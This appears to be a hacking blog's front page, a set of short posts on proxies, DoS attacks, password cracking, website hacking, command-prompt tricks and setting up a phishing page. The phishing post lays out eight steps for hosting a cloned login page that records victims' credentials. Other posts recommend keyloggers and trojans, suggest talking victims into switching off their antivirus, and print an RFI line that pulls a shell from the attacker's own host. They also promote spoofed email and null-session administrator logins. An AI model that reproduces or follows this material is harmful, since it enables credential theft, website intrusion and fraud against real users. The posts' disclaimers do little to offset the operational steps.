Latest: Download All Windows Activators !

How TO: Record Skype Conversation Video.

17 comments
Image
Evaer Video Recorder for Skype 1.2.0.17 | 5.37 MB
Record your Skype video and audio calls into AVI movies. Easy to use for your Skype video and audio interviews, conferences, podcasts, or family VoIP calls. Evaer - excellent Skype video & audio recorder features: Capture original Skype video and audio data to record with high quality. Support single video call and group video calls. Directly record Skype video calls to your hard disk with side-by-side or separate mode. Record separate MP3 audio file in the video calls is optional. Choose the video compressor by your requirement. Automatic chat reply. Easy to use with friendly UI.
Home Page -
http://evaer.com/

Download from fileserve.com 

http://www.fileserve.com/file/eNvyezM/evaer_video_recorder_for_skype_1.2.0.17.rar
Suni

How to Trace an IP address (Easy way)

4 comments
Suni

The Truth of Proxy and Anonymous Internet surfing

5 comments
1) What is a proxy?
A proxy is an address of a proxy server (look @ kind of proxy's) that is placed between your computer and the internet :

Normal :
Computer --------> Internet
With proxy :
Computer ---------> Proxy server -----------> Internet

The main advantage of the Proxy is that it will cover up your IP address (your identity on net) which may help you in opening the ban sites in your country. It was very much popular in days when Facebook was banned in Pakistan and user use Proxies to log into their accounts.


2) Kind of Proxies:

You have 2 different proxy's (some more but these are for a normal internet users) :
-1: Private proxies : They are only for you (it's the same like buy your own ip address ) and will cost 15-20$
-2: Public Proxies : They are for everyone but the problem is sometimes you can get fast proxy's and sometimes slow ones. If you have a good site/list with fast proxy's there as good as private proxy's

3) Where get your proxy ?
There are many ways to find the proxies but some address are also expired , so just search Google for the Fresh Sites. (search : free Proxy, free anonymous surfing)

4) Use proxy with IE(Internet Explorer):
-1: Open Internet explorer
-2: Go to tools > Internet Options > Connections
-3: Now you will see “LAN Settings” open it
-4: Check Use a Proxy server for LAN. Than you will be able to use Address and Port.
-5: Get a proxy (Read Wear get your proxy's) and fill the address you don't have to fill it the port.
-6: Hit ok , ok and it's done. You surf now with a proxy !

5) How safe is it ?
The use of proxy's is legal and it's a good protection BUT don't think ur full protected/undetected. It's more and more popular and some (protected) site block public proxy's because of the spammers …

6) Proxy software
You have lots of software that work with proxies like a Anonymous Surfing, bruteforcer or proxy port scanner.I have even added an link to download 16 various anonymous IP tools from (http://rapidshare.com/files/242280367/IP_Anonymous_Surfing_Tool_16in1_.rar)


7) WARNING!!!!
It is true that a proxy hide your identity but don’t think that you are really safe if you hack CIA Database because in case of hack the Proxy site will give your real identity and you will end up in jail for at least 20 years. So be responsible!!!
Suni

Compare The Difference Between a DoS and a DDoS Attack

4 comments


DoS = Denial Of Service
DDoS = Distributed Denial Of Service

What is the difference between the two?
Whilst DoS and DDoS sound remarkably similar there are in fact differences between the two -

DoS

A DoS Attack is a Denial of Service attack.
This means that one computer and one internet connection is used to flood a server with packets (TCP / UDP).
The point of such a denial of service attack is to overload the targeted server’s bandwidth and other resources.
This will make the server inaccessible to others, thereby blocking the website or whatever else is hosted there.

DDoS

A DDoS Attack is a Distributed Denial of Service Attack.
In most respects it is similar to a DoS attack but the results are much, much different.
Instead of one computer and one internet connection the DDoS attack utilises many computers and many connections.
The computers behind such an attack are often distributed around the whole world and will be part of what is known as a botnet.
The main difference between a DDoS attack vs a DoS attack, therefore, is that the target server will be overload by hundreds or even thousands of requests in the case of the former as opposed to just one attacker in the case of the latter.
Therefore it is much, much harder for a server to withstand a DDoS attack as opposed to the simpler DoS incursion.


Suni

How to Hack a Website ?

6 comments
I've been asked by many of my blog readers How to Hack a website ? . So I thought instead of answering everyone who ask's me why not just write a tutorial on it .In this tutorial i will be explaning some of common method used for website hacking






COMMON METHODS USED FOR WEBSITE HACKING

   

1. Remote File Inclusion or RFI

2. SQL injection

3. Cross site scripting or XXS

4. Local file inclusion or LFI

5. Directory Traversal attack




Remote File Inclusion or RFI :-
It is a type of vulnerability most often found on websites, it allows an attacker to include a remote file usually through a script on the web server. The vulnerability occurs due to the use of user supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severityto

SQL injection :-
It is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks


Cross site scripting or XXS :-
It is  is a type of computer security vulnerability typically found in web applications that enables malicious attackers to inject client-side script into web pages viewed by other users. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy. Cross-site scripting carried out on websites were roughly 80% of all security vulnerabilities documented by Symantec as of 2007. Their impact may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site, and the nature of any security mitigations implemented by the site's owner  .
 

Local file inclusion or LFI :-                                   
It is similar to remote file inclusion to know more about it click here


Directory Traversal attack :-
A directory traversal (or path traversal) is to exploit insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.

The goal of this attack is to order an application to access a computer file that is not intended to be accessible. This attack exploits a lack of security (the software is acting exactly as it is supposed to) as opposed to exploiting a bug in the code.
to know more about it click here

Suni

Basics Of Password Cracking

3 comments
To become a good hacker you  need to be a good password cracker  .There are a variety of programs that a hacker uses to decrypt or guess a password .There are a wide variety of different types of password hacking programs but the most common methods include the following types of attacks.




Dictionary Attacks  : A dictionary attack works on the premise that most computer users choose a password that is easy for them to remember so they do not have to worry about memorizing or forgetting their passwords. Dictionary attack programs use all of the words in the dictionary to try and guess your password. This includes variations of the word and different word combinations. The program will keep trying different words and combinations until it comes up with the right password.

Brute Force Attack : A brute force attack works just like the name implies. This type of attack uses brute force by using a program that keeps attempting every password that is possible until it hits the right one. Brute force attacks take a long time to execute especially if the passwords are long and contain a lot of different combinations.If you use a password cracking calculator to determine how long it will take to decrypt the password you have chosen with a password hacking program, you will find that it can be anywhere from 10 minutes to several months depending upon the complexity of the password.


I hope you understood the basic methods of password cracking In my next post i will explain some of the basic tools used for password cracking and how to use them

Suni

Complete HACKING information (All you need to begin a hack)

2 comments

Introduction:

We see a millions of people going to different forums and websites and asking "how do i hack an email?", "Can you hack blah for me?". So thought to create a tutorial which will give you the basic idea about what the heck is a "HACK", and how to DEFEND YOUR SELF AGAINST HACKERS.

Background:

Hacking started way too far when the windowsd 98 was designed. Hacking is basically finding out the loop holes and trying leak some information out of it, which may lead you to get some critical information like passwords, credit card details. Sometimes hacking is done just because of the personal offesnses.

Things to remember

I will suggest you, KEEP READING ARTICLES AND TUTORIALS FROM GOOD SITES. THATS THE ONLY WAY YOU CAN LEARN.

Initialization:

Getting back to the main point, I am going to discuss some of the ways of hacking in brief. Hacking is basically bifurcated in 2 major parts.

1. Email or the user information
2. Web based hacking.

                                                Email or user information

These days the most commonly used and famous way of hacking user information like Emails, Passwords, Credit card details are as follow:

a. Phishing
b. Brute Forcing
c. Keylogging
d. Trojans

A: Phishing:

Phishing is basically a massive attack. What a hacker does is, they created an absoulutely look alike page of some website like yahoo or gmail. They upload it to their own server. And give the link to any n00b user. When they open it, they think that they are on the yahoo or gmail page, they put in their username and password, click on submit and WHOA! your information has been submitted. This is widely used by new people trying to entering into ahcking world.

Most recent example in india was some scam with ICICI bank, lots of user info was stolen as far as i remember. I read it somewhere in the news paper and was thinking what the hell! ?

Disadvantages:

Still many people give it a try before going for phishing, because the only problem in phishing is, even if the victim knows a little about internet, he will read the URL and understand that it is not a genuine website.

B: Brute Forcing:

Brute forcer is basically a program which could be called as a "cracker". In brute focer you put the username you want to hack, and as a password you put a notepad file which has almost all of the existing english words in it. So what it does is, it will try each and every word from that file and see if anything matches. You might have noticed some topics like "huge pass list" on different forums, they are nothing but the password list to put into your bruteforcer.!

Disadvantages:

1. Sometimes brute forcing may just go for ages!
2. It isnt guaranteed
3. These days many people have alpha-numeric-symbol password which is real tough for brutefocer to detect
4. Most of the famous sites like yahoo, gmail are designed in such a way that it will put the "image captcha" after 3 incorrect login attempts, which stops the bruteforcer.

C: Keylogging :

Keylogger helps you to create a little filed which is known as "server". You gotta send your server to the victim. he has to click on it and then YOUR DONE! this is what happens.

Best possible way to hack someone. Keyloggers are basically a program which will install themselves in your victim's computer and will keep on recording each and every keystroke pressed by the victim on his keyboard and it will send it to the hacker. There are many ways to receive the keystroke i.e. FTP, Email, Messengers. According to me this is the best way to trick your victim and get their information

Disadvantages :

1. When victim receives the keylogger, in most of the cases, their anti virus would auto delete them. So you have to convince them to desable the anti virus by bluffing something.
2. Sometimes firewall blocks the keylogs from being sent.

Tips :

1. There are some programs which are known as "crypters" which will help you to make your server's undetectable. So your victim's anti-virus would not be able to detect them.

D: Trojans :

Trojans are like father of keyloggers. Trojan sends you the keylogs just as keyloggers, on top of that, it lets you take the control of victim's computer. Edit / delete/ upload / download files from or to their computer. Some more funny features like it will make their keyboard go mad, it may kep on ejecting and re-inserting the cd ROM. Much more..

Disadvantages :

Same as keyloggers.

Tips :

Same as keylogger.



                                                            Web Hacking 

I will discuss some most commonly used web hacking techniques which helps hackers to hack any website. This will help you to SAVE YOUR SITE!

1. SQL Injection
2. XSS
3. Shells
4. RFI
5. There are some more but they are TOOO big to be discussed in here.

1 : SQL Injection :

Most of the websites these days are connected to an SQL Database. Which helps them to store usernames and passwords [encrypted] when a guest registers to their website. SQL database processes a querie everytime a user logs in. It goes to the database, validates the password, if its correct then it logs in the user and if its not then it gives an error.

So the basic funda is executing a command to parase a query in the database to try to exploit the internet information of the database. I cant really put the entire tutorial about because this is the most complicated way to hack the website!

P.S.:- If you wanna check if YOUR website is vulnerable to RFI attach or not then do the following .

If your site's URL is:

Code:
yoursite.com/index.php?id=545

just add a ' like this at the end

Code:
yoursite.com/index.php?id=545'

2 : XSS :

XSS is another nice way to ahck some website. Suppose if some website/ forum is allowing HTML in the psot or articles, then a hacker can post a malicious script into the content. So whenever a user opens up the page, the cookies would be sent to the hacker. So he can login as that user and f*ck the website up.

3. Shells :

Shell is a malicious .php script. What you have to do is, find a palce in any website where you can upload any file like avatars, recepie, your tricks, your feedbacks. And you try to upload your shell files from there. And if its uploaded then WHOA!you open it from the URL bar and u can see the entire "FTP" account of that webhosting. YOu can rename/edit / upload/download anything u want including the index page.
This is also known as deface.

4. RFI :

RFI is a good way to deface a website. It is used with shell. Suppose you have uploaded your shell on:

Code:
yoursite.com/shell.txt


and you found a vulnerable site to RFI... then you can do as follow:

Code:
victimssite.com/index.php?page=yousite.com/shell.txt


This will again give u the access of your victim's sites FTP , just as shell so you can f*ck up anything you want.

P.S.:- If you wanna check if YOUR website is vulnerable to RFI attach or not then do the following .

If your site's URL is:

Code:
yoursite.com/index.php?id=545


just add something liek this at the end

Code:

yoursite.com/index.php?id=http://www.google.com

And if it incldes the google page into your page, that means its vulnerable to RFI.

Suni

All Cmd hacking commands (Working 100%)

4 comments

                                      Cmd hacking commands 


I am Sure u guys Know All these commands.... I want to Help The Beginers.. So i am Posting This....

Useful Things to do on CMD!

First, open your Network Connection and right click and select Properties. Then Select TCP/IP and click on Properties again. Now Click on Advanced and WINS tab. Select Default for NeBIOS.

Now back to the main Local Area Connection window, select File and Print Sharing for Mic*ft Networks and hit enter.

This is just to make sure you have NetBIOS enabled. We will have some fun with NetBIOS on CMD.

First thing you need to know is some very helpfull commands to use on CMD(Command Prompt).

In case you don't know how to get CMD open in your box, then click on Start, then Run, then type "cmd" (no quotes, off course... you know the drill).

Back to commands:

nslookup
net view
net use
net user
ping
tracert
arp
route
nbtstat
netstat
ipconfig


In case you don't know some of them, then just type the command on CMD and hit enter. A little help will show up in your screen. Read it and understand what the command does.

Lets start easy...

1) ping : This command will allow you to know if the host you pinging is alive, which means if it is up at the time of executing the "ping" command.

ping x.x.x.x (x is the IP address)

or

ping http://www.whatever.com (http://www.whatever.com is the website you want to ping, but you don't know the IP)

OBS: Keep in mind that if the host you pinging is blocking ICMP packets, then the result will be host down.

2) nslookup : This command has many functionalities.
One is for resolving DNS into IP.
Lets say you know the website URL but you don't know its IP(and you want to find out).

nslookup http://www.whatever.com (http://www.whatever.com is the website you want to find out the IP)

Now, another really nice function of nslookup is to find out IP of specific Mail Severs

nslookup (enter)
set type=mx (enter)
yahoo.com

This command will give you the mail server IP of yahoo.com. You can use whatever server you want and if it is listed on DNS, then you get the IP. Simple, isn't it?

OK, now why would you want to have an IP of a mail server?
To send spoofed mail to your friends or even for SE.
In case you looking for "How to spoof email", then look for my "How to spoof email tutorial" http://www.infowar.com/forums/showth...&threadid=2360

3) tracert : This command will give you the hops that a packet will travel to reach its final destination.

OBS: This command is good to know the route a packet takes before it goes to the target box.

tracert x.x.x.x (x is the IP address)

or

tracert http://www.whatever.com (http://www.whatever.com is the website you don't know the IP)

4) arp : This command will show you the arp table. This is good to know if someone is doing arp poisoning in your LAN.

arp -a

5) route : This command will show you the routing table, gateway, interface and metric.

Code:
route print


6) ipconfig : This command will show tons of very helpful things.
Your IP, gateway, dns in use.

Code:
ipconfig
or

Code:
ipconfig /all

this command will give all that info but for all networks you might have it.

Also, in case you have a dynamic IP and want to change it, then type...

Code:
ipconfig /release (this will release your IP)

ipconfig /renew (this will renew your iP)

OBS: Keep in mind that those commands will change your IP, but the new IP will still be tighed up to you. So don't do anything stupid.

7) netstat : This command will show you connection to your box.

Code:
netstat

or

Code:
netstat -a (this will show you all the listening ports and connection with DNS names)
netstat -n (this will show you all the open connection with IP addresses)
netstat -an (this will combined both of the above)

net view x.x.x.x or computername (will list the available sharing folders on the target box)


Now some hints:

Code:
net use \ipaddressipc$ "" /user:administrator

(this command will allow you to connect to the target box as administrator)

Now if you want to connect to the target box and browse the entire C drive, then use this command:

Code:
net use K: \computernameC$
(this will create a virtual drive on your "my computer" folder)

OBS: Keep in mind that this will only works if the target box doesn't have an administrator password set.

And least but not last, the "help" command.

Quote:
whatevercommand /help

or

Quote:
whatevercommand /?


This command will help you to understand what it does and all the switchs available for each command.
Very useful if you know the command, but forgot the right switch.


 hints :: HACKING IS NOT SO EASY SO GUYS BEFORE HACKING READ THE ARTICLES CAREFULLY  ANN FULLY THE TRY TO HACK...
Suni

1000 Hacking Tutorials - The Best of 2011

67 comments




1000 Hacking Tutorials - The Best of 2011
English | TXT | 1000 Books | 21.47 Mb
Data Capacity of CDs [Tutorial]
Debug, Learn how ***** windows
Delete An undeletable File
Delete Files From The Recent File List In Windows
Digital Camera Guide
Digital Faq -learn Everything About Digital, Capture, Edit, Burning and more
Digital Photo Id Cards, Greate Info
Direct Link To Any Page You Want To In Hotmail
Directx Explained
Disable Compression On Xp, NTFS partition, Disk Cleanup
Disable The Send Error Report, to Microsoft
Disable Windows Logo Key
Discover New Music You'll Probably Love
Download Free Music legally,, legally
Download from a paypal site without paying a penny!
Download From Ftpz, Using Ftp Search Sitez
Download Mp3's Without Using Filesharing
v.v...




Download

http://downloads.ziddu.com/download/15369152/1000HackerTutorials.rar.html/eng
Suni

How to Install & Setup a Fake Login Page/Phishing page (8 steps)

34 comments
You must have come across many fake login pages/scamming pages which are often used to hack IDs.Phishing is the most easiest and the most "unethical way of hacking",Yes that is right phishing is not something great which only a few can do,that is why it makes it unethical.But whatever it might be hacking is hacking and there is obviously a need to know more on this type of exploitation.Before we go into the details let us first see what phishing is all about.






What is Phishing ?

Phishing is a way of deceiving your victim by making him login through one of your webpages which is a clone of the original one.By doing so the fake webpage will log his E-mail ID and password.After that he will automatically be redirected to the original webpage making him unsuspicious of what just happened.This is used for criminal activities for stealing Credits Cards and So.And that is the exact reason why i DO NOT want you to use this for fraud.Use this only for educational purposes and not to cause any damage to any person in any way.


First of all you have to get a phishing page.This is available in my blog itself.So download one in advance.





Installation / Setting up your Fake login Script (Phishing page)

1.After downloading the page extract the files into a directory.

2.Before we get started you should first make a free web hosting account for you to upload your files.I would prefer any one of these,if you know a better one then please use what you wish.For this tutorial I'll be using  www.000webhost.com  as it is easier for me to explain but you can chose whatever hosting you like.
www.t35.com
www.110mb.com
www.x10hosting.com
www.000webhost.com
www.blackapplehost.com
www.freehostia.com 


3.After registering login to your file manager of you respective hosting




4.Upload all the files of the folder which contains the document to (public_html).










5.Once you have uploaded the files you have to change the permission (CHMOD) of each file to "700".Select all the file and change the permissions as shown in the pictures below.

6.Now is the time to test.Go the site for example.

http://username.000webhost.com/index.htm


.After you go there you will find that it is the exact clone of the original one.

7.Just enter some E-mail ID and password in order to check if it working,now it should redirect you to "www.hackmeout.blogspot.com",if this is happening it is a success !

8.Now go to your file manager again and refresh the page,you'll find that a new file will be created for ex. Facebook-Passwords.htm in your file manager to view the passwords,go to

http://username.000webhost.com/Facebook-Passwords.htm


There you will find the list of passwords which have been entered on yoursite.So now your ready to pull a prank on your friends !

How to change the redirection URL ?

By default the redirection URL in all my phishing pages is "www.hackbrush.blogspot.com".You can just change it by modifying the "login.php" file of the phishing page using Wordpad or Notepad.

Disclaimer: DO NOT use this for fraudulent activities use this just to gain knowledge and not to cause harm to other people in any sort.





Suni
  • MBT Icons and buttons

    Icons and Buttons

    Our resources have been successfully downloaded over 10K times and found almost every where. Get yours!

  • choosing webhost for a blog

    Why HostGator?

    Learn Why we chose HostGator as our Web Host and find discount coupons to kick start your blog today!

  • SEO Settings for blogger

    ALL IN ONE SEO PACK 2012

    Learn every single SEO tip that will boost your blog's ranking and organic traffic. We got them all!

  • Blogger widgets and plugins

    Visit MBT's Blogger LAB

    Why not take a tour of all great Blogger widgets published so far? You Name it we have it!

  • become a six figure blogger!

    Become a SIX FIGURE BLOGGER

    Learn what it takes to become a successful entrepreneur and build a living online!